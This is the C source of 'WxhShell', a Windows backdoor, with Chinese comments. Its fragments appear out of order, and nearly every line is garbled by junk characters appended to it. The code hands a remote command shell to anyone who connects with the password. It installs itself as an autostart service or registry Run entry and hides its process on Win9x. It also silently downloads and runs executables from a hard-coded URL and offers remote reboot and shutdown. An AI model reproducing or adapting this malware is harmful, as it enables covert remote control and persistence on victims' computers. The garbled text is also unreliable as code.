    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9'p| [?]v  
    else { i-0 :Fs  
    closesocket(wsh); 8i "CU:(  
    ExitThread(0); ]Qe~|9I  
    } 3\ajnd|  
    break; 1W*Qc_5 v1  
    } E*)A!2rlK  
  // 获取shell O8hx}dOjA  
  case 's': { XzV>q~I3|E  
    CmdShell(wsh); iJ58RY  
    closesocket(wsh); 27gHgz}}  
    ExitThread(0); %pg)*>P h  
    break; #p=+RTZ<  
  } W\<OCD%X  
  // 退出 kN 2mPD/  
  case 'x': { W9gQho%9b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mu0L_u(P  
    CloseIt(wsh); K'8o'S_bF  
    break; %zc.b  
    } hK4ww"-  
  // 离开 mKM[[l&A  
  case 'q': { ;xTMOuI*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,^4"e (  
    closesocket(wsh); :F5(]g 7  
    WSACleanup(); DDIRJd<J  
    exit(1); ~+ae68{p  
    break; *C)m#[#:u  
        } aEQrBs  
  } L9hL@  
  } hQ%X0X,  
 b%F'Ou~  
  // 提示信息 \Q`#E'?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n>^9+Rx|i  
} tF*Sg{:bCa  
  } #/(L.5d[  
p^{yA"MQ  
  return; x6T$HN/2  
} T8LvdzS  
/;TD n>lq  
// shell模块句柄 t(,2x%{  
int CmdShell(SOCKET sock) %,N-M]Jf  
{ ][z!};  
STARTUPINFO si; |a1zJ_t4  
ZeroMemory(&si,sizeof(si)); -K^(L #G  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <1sUK4nQ,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f:t5`c.  
PROCESS_INFORMATION ProcessInfo; M;-FW5O't  
char cmdline[]="cmd"; kad$Fp39  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5*"WS $  
  return 0; BaCzN;)  
} N:^4On VR  
W70BRXe04D  
// 自身启动模式 h 1j1PRE  
int StartFromService(void) -RThd"  
{ usugjx^p  
typedef struct up3m um  
{ [di&N!Ao  
  DWORD ExitStatus; FP6Jf I8  
  DWORD PebBaseAddress; Df $Yn  
  DWORD AffinityMask; a- /p/ I-%  
  DWORD BasePriority; a'G[ !"  
  ULONG UniqueProcessId; YBk* CW9  
  ULONG InheritedFromUniqueProcessId; j1@PfKh  
}   PROCESS_BASIC_INFORMATION; H#`&!p  
~r]$(V n  
PROCNTQSIP NtQueryInformationProcess; 6`'KM/   
SkXx: @  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mc6W"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >F!X'#Iv  
na/,1iI<  
  HANDLE             hProcess; XOY\NMo  
  PROCESS_BASIC_INFORMATION pbi; wlX K2D  
P$A'WEO'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); TkjZI}]2  
  if(NULL == hInst ) return 0; HtI>rj/\ x  
>3ASrM+>w  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0Szt^l7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (7P VfS>;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t9kqX(!  
Mw $.B#  
  if (!NtQueryInformationProcess) return 0; x8h=3e$  
\o!B:Vb<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k$K>ml/h  
  if(!hProcess) return 0; 5NYYrA8,^  
) ]]PhGX~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -+.-Ab7  
fL R.2vJ  
  CloseHandle(hProcess); jowR!rqf  
&uv7`VT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =^3B&qQNq  
if(hProcess==NULL) return 0; y +c 3#  
PxZMH=  
HMODULE hMod; +QFY. >KH  
char procName[255]; []eZO_o6j  
unsigned long cbNeeded; xHdv?69,  
 *}`D2_uP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `wLa.Gzj  
Uv /?/;si  
  CloseHandle(hProcess); \wo'XF3:  
bG9$&,  
if(strstr(procName,"services")) return 1; // 以服务启动 aruT eJF  
%L;'C v  
  return 0; // 注册表启动 yE),GJ-m\<  
} f<~S0[H  
_LSf )  
// 主模块 0(dXU\Y  
int StartWxhshell(LPSTR lpCmdLine) 3sq(FsT  
{ Gj([S17\0:  
  SOCKET wsl; q'awV5y  
BOOL val=TRUE; `]:&h'  
  int port=0; ('.r_F  
  struct sockaddr_in door; 27KfT] =  
VN9C@ ;'$  
  if(wscfg.ws_autoins) Install(); }7jg>3ng(  
|F#L{=B  
port=atoi(lpCmdLine); <oWoJP`G  
{]\!vG6  
if(port<=0) port=wscfg.ws_port; )D q/fW  
V|8`]QW@  
  WSADATA data; BWN[>H %S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u ?n{r  
d4zqLD$A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C|A:^6d3=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >Kc>=^=5  
  door.sin_family = AF_INET; "ewB4F[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;MR(Eaep  
  door.sin_port = htons(port); =-qv[;%& 6  
%v(\;&@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _:tisr{  
closesocket(wsl); aGz <Yip  
return 1; \WeGO.i-  
} 2x7%6'  
y$e'-v  
  if(listen(wsl,2) == INVALID_SOCKET) { fXHN m$"n  
closesocket(wsl); jreY'y:  
return 1; _ADK8a6%)  
} !Z6GID})p  
  Wxhshell(wsl); 3[L)q2;}$N  
  WSACleanup(); GUyc1{6  
@9pk-BB^D  
return 0; xv{iWJcs  
&\0`\#R  
} Qx mVImn"  
^r<bi%@C$  
// 以NT服务方式启动 q)uq?sZe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {]}}rx'|P  
{ J8x>vC  
DWORD   status = 0; W1s4[rL!Ht  
  DWORD   specificError = 0xfffffff; N*Owfr1 N  
`~"l a>}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gn? ~y`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;TK:D=p4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oh5fNx  
  serviceStatus.dwWin32ExitCode     = 0; By 8C-jD  
  serviceStatus.dwServiceSpecificExitCode = 0; \7}X^]UVx  
  serviceStatus.dwCheckPoint       = 0; QMzBx*g(  
  serviceStatus.dwWaitHint       = 0; G!54 e  
H! ZPP8]j>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sY t8NsQ  
  if (hServiceStatusHandle==0) return; o(. PxcD  
(s,*soAN  
status = GetLastError(); RkN a;j)t  
  if (status!=NO_ERROR) Ywf.,V  
{ 0j1I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :_tsS)Q2m  
    serviceStatus.dwCheckPoint       = 0; 1X/ q7lR  
    serviceStatus.dwWaitHint       = 0; $H/3t?6h`  
    serviceStatus.dwWin32ExitCode     = status; C,w$)x5kls  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4b8!LzKS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )jp#|#h  
    return; Got5(^'c  
  } PCs+` WP!M  
P'Jw:)k(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O1@xF9<  
  serviceStatus.dwCheckPoint       = 0; A8OV3h6]  
  serviceStatus.dwWaitHint       = 0; ">kf X1LT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); itM6S$  
} ]7ROCJ;  
aU2O5z&  
// 处理NT服务事件,比如:启动、停止 +GWeu0b(~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;KmSz 1A  
{ 5-}4jwk  
switch(fdwControl) "!gd)^<e  
{ Fk>/  
case SERVICE_CONTROL_STOP: UGEC_  
  serviceStatus.dwWin32ExitCode = 0; g!<@6\RB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Xi5ZQo!t  
  serviceStatus.dwCheckPoint   = 0; o\8yYX  
  serviceStatus.dwWaitHint     = 0; ~;|  
  { q[l},nw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KLs%{'[7:  
  } JcZs\ fl9  
  return; }7vX4{Yn  
case SERVICE_CONTROL_PAUSE: lx~!FLn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u Y/Q]N T  
  break; 'uBW1,  
case SERVICE_CONTROL_CONTINUE: F`U%xn,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4_`+&  
  break; T<DQi  
case SERVICE_CONTROL_INTERROGATE: qr(SAIX"  
  break; ooByGQ90V:  
}; U=p,drF,A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cgm]{[f  
} ;&P%A<[`  
:Cw|BX@??U  
// 标准应用程序主函数 #Z}\;a{vZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "a;JQ:  
{ h{yqNl  
d> `9!)  
// 获取操作系统版本 yEy} PCJ&  
OsIsNt=GetOsVer(); N|T%cdh:/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R|ViLty  
Tl%#N"  
  // 从命令行安装 WtFv"$V  
  if(strpbrk(lpCmdLine,"iI")) Install(); bJ]g2C7`36  
I' ej?~  
  // 下载执行文件 G#8HY VF  
if(wscfg.ws_downexe) { _NA0$bGN9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .#6Dad=S*  
  WinExec(wscfg.ws_filenam,SW_HIDE); !t{3IE  
} 6?Rm>+2>v  
d /jO~+jP  
if(!OsIsNt) { Lcf =)GL  
// 如果时win9x,隐藏进程并且设置为注册表启动 )Rn}4)9!iT  
HideProc(); $VhUZGuG>  
StartWxhshell(lpCmdLine);  "C B*  
} j\("d4n%C  
else ea=@r Ng  
  if(StartFromService()) Ni'vz7j  
  // 以服务方式启动 pN&5vu30  
  StartServiceCtrlDispatcher(DispatchTable); q[nX<tO  
else ]YQlCx`  
  // 普通方式启动 DHW;*A-  
  StartWxhshell(lpCmdLine); lq}=&)%C  
?0WJB[/  
return 0; ,o]"G[Jk  
} G7DEavtr  
Di<KRg1W]}  
5*{U!${a  
d%\ {,  
=========================================== _y#t[|}w  
@>_`g=  
;WC]Lf<Z^  
!iWPldn&]  
suN{)"  
'`#2'MXG  
" o> WH;EBL  
n|Iy  
#include <stdio.h> }a,j1r_Hl&  
#include <string.h> R)"Ds}1G  
#include <windows.h> ce\]o^4  
#include <winsock2.h> _$s9o$8$  
#include <winsvc.h> (n05MwKu\  
#include <urlmon.h> "GEJ9_a[  
YQvN;W  
#pragma comment (lib, "Ws2_32.lib") :D8V*F6P  
#pragma comment (lib, "urlmon.lib") J4#t1P@Na  
k]!Fh^O~,  
#define MAX_USER   100 // 最大客户端连接数 sWP5=t(i+9  
#define BUF_SOCK   200 // sock buffer !s06uh  
#define KEY_BUFF   255 // 输入 buffer %<CahzYc6  
`$\g8Mo  
#define REBOOT     0   // 重启 .i>; ?(GH  
#define SHUTDOWN   1   // 关机 vcy}ZqWBO  
8rAOs\ys  
#define DEF_PORT   5000 // 监听端口 xAw$bJj~s  
Ci0:-IS  
#define REG_LEN     16   // 注册表键长度 cJd~UQ<k  
#define SVC_LEN     80   // NT服务名长度 X}Bo[YoY$  
.p  NWd  
// 从dll定义API oA%8k51>~K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l&S2.sC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6e3s |  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,4zwd@&O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2`tdH|Z`  
k3h,c;  
// wxhshell配置信息 `[p*qsp_  
struct WSCFG { 3e~ab#/  
  int ws_port;         // 监听端口 o?$kcI4  
  char ws_passstr[REG_LEN]; // 口令 #;sUAR?]  
  int ws_autoins;       // 安装标记, 1=yes 0=no q(4W /y  
  char ws_regname[REG_LEN]; // 注册表键名 zZ &L#  
  char ws_svcname[REG_LEN]; // 服务名 u[q1]]   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ="<5+G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h@}KBK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i_Dv+^&zV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rxH*h`Xx@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +ntrp='7O7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~N2){0 j4  
>Ig%|4Hw  
}; 9 ?a-1  
/fC@T  
// default Wxhshell configuration 4A^=4"BCV  
struct WSCFG wscfg={DEF_PORT, M>W-lp^3  
    "xuhuanlingzhe", 9v>BP`Mg  
    1, v-M3/*  
    "Wxhshell", NSH20$A<  
    "Wxhshell", }6ObQa43   
            "WxhShell Service", W`_pjld  
    "Wrsky Windows CmdShell Service", }1E'a>^|  
    "Please Input Your Password: ", &$F4/2|b%  
  1,  lc9aDt  
  "http://www.wrsky.com/wxhshell.exe", d MQ]=  
  "Wxhshell.exe" AoB~ZWq  
    }; ],CJSA!5F  
sf )ojq6s  
// 消息定义模块 v$c*3H.seM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I{Hl2?CnI,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8Q&.S)hrN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .J:04t1  
char *msg_ws_ext="\n\rExit."; gM_z`H 5[!  
char *msg_ws_end="\n\rQuit."; 09z%y[z  
char *msg_ws_boot="\n\rReboot..."; kx,9n)  
char *msg_ws_poff="\n\rShutdown..."; &Fo)ea  
char *msg_ws_down="\n\rSave to "; ,4W| e!  
(O{5L(  
char *msg_ws_err="\n\rErr!"; [=M0%"  
char *msg_ws_ok="\n\rOK!"; 4/YEkD  
#U45H.Rz  
char ExeFile[MAX_PATH]; #;FHyKx  
int nUser = 0; H.`>t  
HANDLE handles[MAX_USER]; &'`q&U1x  
int OsIsNt; Z* eb  
KWtLrZ(j  
SERVICE_STATUS       serviceStatus; "q@OM f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @y:mj \J9  
Kq!E<|yM  
// 函数声明 '5xf?0@s.  
int Install(void); FlJ(V  
int Uninstall(void); Wy^43g38'p  
int DownloadFile(char *sURL, SOCKET wsh); :M" NB+T  
int Boot(int flag); 9F+i+(\,b  
void HideProc(void); ;#c|ZnX  
int GetOsVer(void); ly`p)6#R=  
int Wxhshell(SOCKET wsl); U-.?+ `  
void TalkWithClient(void *cs); VB6EM|bphl  
int CmdShell(SOCKET sock); 2q}M1-^  
int StartFromService(void); P(?i>F7s  
int StartWxhshell(LPSTR lpCmdLine); W\09h Z6  
9y=$ |"<(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); XVXiiQ^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J }izTI  
mq~rD)T  
// 数据结构和表定义 W[S4s/)mg  
SERVICE_TABLE_ENTRY DispatchTable[] = A WlR" p2  
{ \+OP!`  
{wscfg.ws_svcname, NTServiceMain}, {l&6= z  
{NULL, NULL} Jej P91  
}; @ yJ/!9?^  
l!Q |]-.@  
// 自我安装 i<<NKv8;  
int Install(void) ydp?%RB3w  
{ TTjj.fq6  
  char svExeFile[MAX_PATH]; h%e}4U@X  
  HKEY key; )@DT^#zR  
  strcpy(svExeFile,ExeFile); S-^y;#=  
RB1c!h$u  
// 如果是win9x系统,修改注册表设为自启动 K{[ySB  
if(!OsIsNt) { |a@$KF$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j^A0[:2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y7M"Dr%t^  
  RegCloseKey(key); nA8]/r1k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b~\gV_Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2!QS&i  
  RegCloseKey(key); l'YpSO~l7  
  return 0; 3\eb:-B:@  
    } Zf;1U98oC  
  } Alh"G6  
} Qxj &IX  
else { )fSQTbB;0  
kM>0>fkjE  
// 如果是NT以上系统,安装为系统服务 ?! dp0<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^T\JFzV  
if (schSCManager!=0) <Q)6N!Tp^  
{ pE >~F  
  SC_HANDLE schService = CreateService {UT>> *C  
  ( eN]0]9JO  
  schSCManager, <~# ZtD$G  
  wscfg.ws_svcname, ]D&$k P(  
  wscfg.ws_svcdisp, d#7 z N  
  SERVICE_ALL_ACCESS, R{S{N2+p(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (1\!6  
  SERVICE_AUTO_START, _[h1SAJ  
  SERVICE_ERROR_NORMAL, \2i4]V  
  svExeFile, G`E%uyjG$j  
  NULL, Vf6lu)Z c1  
  NULL, @;x|+@r  
  NULL, %Bg} a  
  NULL,  8YFfnk  
  NULL 'LIJpk3J  
  ); }S'+Ytea  
  if (schService!=0) 0+IJ, ;Wx  
  { M$A"<5  
  CloseServiceHandle(schService); @TC_XU)&  
  CloseServiceHandle(schSCManager); SiHZco I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bnLvJ]i)  
  strcat(svExeFile,wscfg.ws_svcname); P7d" E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { EL80f>K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k!O#6Z  
  RegCloseKey(key); ]qL#/   
  return 0; \Oh9)X:I  
    } ;hNn F&l  
  } %YefTk8cr,  
  CloseServiceHandle(schSCManager); =3lUr<Ze  
} {c|nIwdB  
} Ac<V!v71  
4%2QF F @  
return 1; hu[=9#''$  
} wG2lCv`d  
Y>Q9?>}Q  
// 自我卸载 -wlob`3  
int Uninstall(void) D:'|poH  
{ @5Q}o3.zA-  
  HKEY key; ')I/D4v  
`ysPEwA|  
if(!OsIsNt) { ya{vR* '~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fHYEK~!C04  
  RegDeleteValue(key,wscfg.ws_regname); <=n$oMO  
  RegCloseKey(key); bG67TWY)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]"q[hF*PM  
  RegDeleteValue(key,wscfg.ws_regname); ;Avd$&::  
  RegCloseKey(key); {4ON2{8;4  
  return 0; Ps Qq ^/  
  } `zRgP#  
} -vwkvNn8  
} T^S|u8f  
else { EnA) Rz  
6%C:k,Cx{d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ki}PO`s  
if (schSCManager!=0) V=k!&xN~  
{ IV_u f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @no]*?Gpa  
  if (schService!=0) 1F-o3\  
  { b|n%l5 1  
  if(DeleteService(schService)!=0) { #*,Jqr2f  
  CloseServiceHandle(schService); o1MI&}r  
  CloseServiceHandle(schSCManager); j{>E.F2.  
  return 0; n' 73DApW  
  } B o.x  
  CloseServiceHandle(schService); ww nc  
  } << LmO-92  
  CloseServiceHandle(schSCManager); YTQ|Hg6jO  
} r ^_8y8&l  
} rw8O<No4.o  
zA9N<0[]o  
return 1; 4O9HoX#-?  
} j#Ly!%dp  
7!hL(k[  
// 从指定url下载文件 |^C?~g  
int DownloadFile(char *sURL, SOCKET wsh) 468LVe?0  
{ sn2SDHY  
  HRESULT hr; 0aSN 8  
char seps[]= "/"; WW0N"m'  
char *token; 1%^U=[#2`  
char *file; yopEqO  
char myURL[MAX_PATH]; 5*[zIKdt2  
char myFILE[MAX_PATH]; ^=bJ _'  
a36n}R4Q  
strcpy(myURL,sURL); g10$pf+L  
  token=strtok(myURL,seps); 8\!0yM#yK  
  while(token!=NULL) E0\ '  
  { x`{ni6}  
    file=token; - 4'yp  
  token=strtok(NULL,seps); dwv xV$Nt  
  } eT[ ,k[#q  
e%`gD*8  
GetCurrentDirectory(MAX_PATH,myFILE); ?JzLn,&  
strcat(myFILE, "\\"); ($7>\"+Tl  
strcat(myFILE, file);  {3yzC  
  send(wsh,myFILE,strlen(myFILE),0); aWm0*W"(@  
send(wsh,"...",3,0); -5>K pgXo\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G'MYTq  
  if(hr==S_OK) TGdD7n&Ehh  
return 0; D@^ r  
else |iLeOztuE  
return 1; -9}]J\  
]n${j/x  
} |q^e&M<  
?T7`E q  
// 系统电源模块 9Vxsv*OR,  
int Boot(int flag) "}*P9-%  
{ =y,_FFoS  
  HANDLE hToken; ppR~e*rv-  
  TOKEN_PRIVILEGES tkp; L q'*B9  
,aV89"}  
  if(OsIsNt) { 9Wb9g/L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +I/7eIG?|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7F4$k4r<  
    tkp.PrivilegeCount = 1; 7 '2E-#^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g (ZeGNV8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pTOS}A[dh  
if(flag==REBOOT) { t&mw@bj  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $EN A$  
  return 0; [`=|^2n?  
} BEg%u)"([  
else { RxAWX?9Z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y{1IRP?S  
  return 0; A{: a kK  
} ]Q-ON&/  
  } 'dQ2"x?4  
  else { _{_LTy%[  
if(flag==REBOOT) { )$P!7$C-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2Q|Vg*x\U  
  return 0; ]8htJ]<|Q  
} U.crRrN  
else { )Y\},O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xh#ef=Bw  
  return 0; I=x   
} wS%I.  
} wDem }uO  
1mJBxg}(  
return 1; rMTtPuc2  
} M98dQ%4I  
#`:60#l  
// win9x进程隐藏模块 / ]>&OSV  
void HideProc(void) xRv1zHZ  
{ e3F)FTG&  
\hc}xy 0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'ujt w:Z:  
  if ( hKernel != NULL ) {3$ge  
  { Fng":28o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \qUmdN{FU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y%^&aacZ  
    FreeLibrary(hKernel); >H ic tH  
  } ah"2^x  
e l'^9K  
return; < hZA$.W3  
} M_T$\z;,  
w<J$12 "p+  
// 获取操作系统版本 fhLdM  
int GetOsVer(void) @-qxNw  
{ )!|K3%9  
  OSVERSIONINFO winfo; ^KF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [k@D}p x  
  GetVersionEx(&winfo); KVtnz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {h&*H[Z z  
  return 1; 8s?;<6  
  else \r324Bw>2  
  return 0; n6O1\}YB  
} , j'=sDl  
>f'n l  
// 客户端句柄模块 JI3AR e?y  
int Wxhshell(SOCKET wsl) $Fc*^8$ryC  
{ qk~QcVg  
  SOCKET wsh; _<pG}fmR  
  struct sockaddr_in client; 8BE OE<  
  DWORD myID; _UjAct]6  
+@Fy) {C7  
  while(nUser<MAX_USER) Q7"KgqpQ3  
{ Lt@4F   
  int nSize=sizeof(client); /A_</GYs  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *ErTDy(   
  if(wsh==INVALID_SOCKET) return 1; '3[Ecy#  
`Wn0v2@a(~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0AJ6g@ t[  
if(handles[nUser]==0) V,|l&-  
  closesocket(wsh); 'bY^=9&|  
else ;)0vxcMB  
  nUser++; *vJ1~SRV  
  } T"kaOy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?Sn$AS I  
fa\<![8LAU  
  return 0; |rW}s+Kcr  
} ~UK) p;|  
^=OjsN  
// 关闭 socket e>nRJH8pK  
void CloseIt(SOCKET wsh) cX7xG U  
{ L9fhe,en  
closesocket(wsh); ~K:#a$!%,  
nUser--; :/~`"`#1  
ExitThread(0); $aE %W? \  
} 4mNL;O  
Y)c9]1qly  
// 客户端请求句柄 n@T4z.*~lA  
void TalkWithClient(void *cs) "h$A.S  
{ C~'}RM  
K+ufcct  
  SOCKET wsh=(SOCKET)cs; \ts:'  
  char pwd[SVC_LEN]; Xa[gDdbL  
  char cmd[KEY_BUFF]; 5SR 29Z[  
char chr[1]; n$5,B*  
int i,j; vq(@B  
`u%//m_(  
  while (nUser < MAX_USER) { ReZ|q5*  
e{To&gy~  
if(wscfg.ws_passstr) { ^:{l~~9iKp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4xtbP\=   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GG(rp]rgl  
  //ZeroMemory(pwd,KEY_BUFF); 1@CI7j  
      i=0; uO,90g[C/R  
  while(i<SVC_LEN) { hJhdHy=U  
*ubLuC+b  
  // 设置超时 @L{HT8utK3  
  fd_set FdRead; [ {lF1+];@  
  struct timeval TimeOut; A3$ rPb8  
  FD_ZERO(&FdRead); p8Lb*7W  
  FD_SET(wsh,&FdRead); :!g|0CF_  
  TimeOut.tv_sec=8; Wj.)wr!  
  TimeOut.tv_usec=0; T=;'"S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FT`y3 ~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;oob TW{  
2x$\vL0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kRSu6r9  
  pwd=chr[0]; $qg5m,1?  
  if(chr[0]==0xd || chr[0]==0xa) { *bmk(%g  
  pwd=0; aJI>qk h?]  
  break; 9OF5A<%"u  
  } lG fO  
  i++; CM9+h;Zm  
    } N<"_5  
$'?CY)h{  
  // 如果是非法用户,关闭 socket s8@fZ4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N7+K$)3  
} *7BY$q  
RTLu]Bry  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3~s0ux[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <mrLld#_:C  
!Aunwq^  
while(1) { L_)?5IOJ$  
yq6!8OkF  
  ZeroMemory(cmd,KEY_BUFF); hLx*$Z>  
Zu&trxnNf[  
      // 自动支持客户端 telnet标准   )z7. S"U  
  j=0; JXUO?9  
  while(j<KEY_BUFF) { EU>@k{Qt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;PG'em  
  cmd[j]=chr[0]; e!eWwC9u  
  if(chr[0]==0xa || chr[0]==0xd) { oJyC{G  
  cmd[j]=0; L?Wl#wP\;*  
  break; 4zJ9bF4  
  } iO<O2A.F  
  j++; wT*`Od8w  
    } IGu*#>h  
05|t  
  // 下载文件 OjrQ[`(E  
  if(strstr(cmd,"http://")) { -?LSw  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xv4nYm9  
  if(DownloadFile(cmd,wsh)) gj6"U {D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cv;z^8PZJz  
  else mz9Kwxe  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F^A1'J  
  } ~5p `Kg*  
  else { &W.tjqmw  
g\ <Lb  
    switch(cmd[0]) { DU}q4u@ )  
  M&Ycw XV:Z  
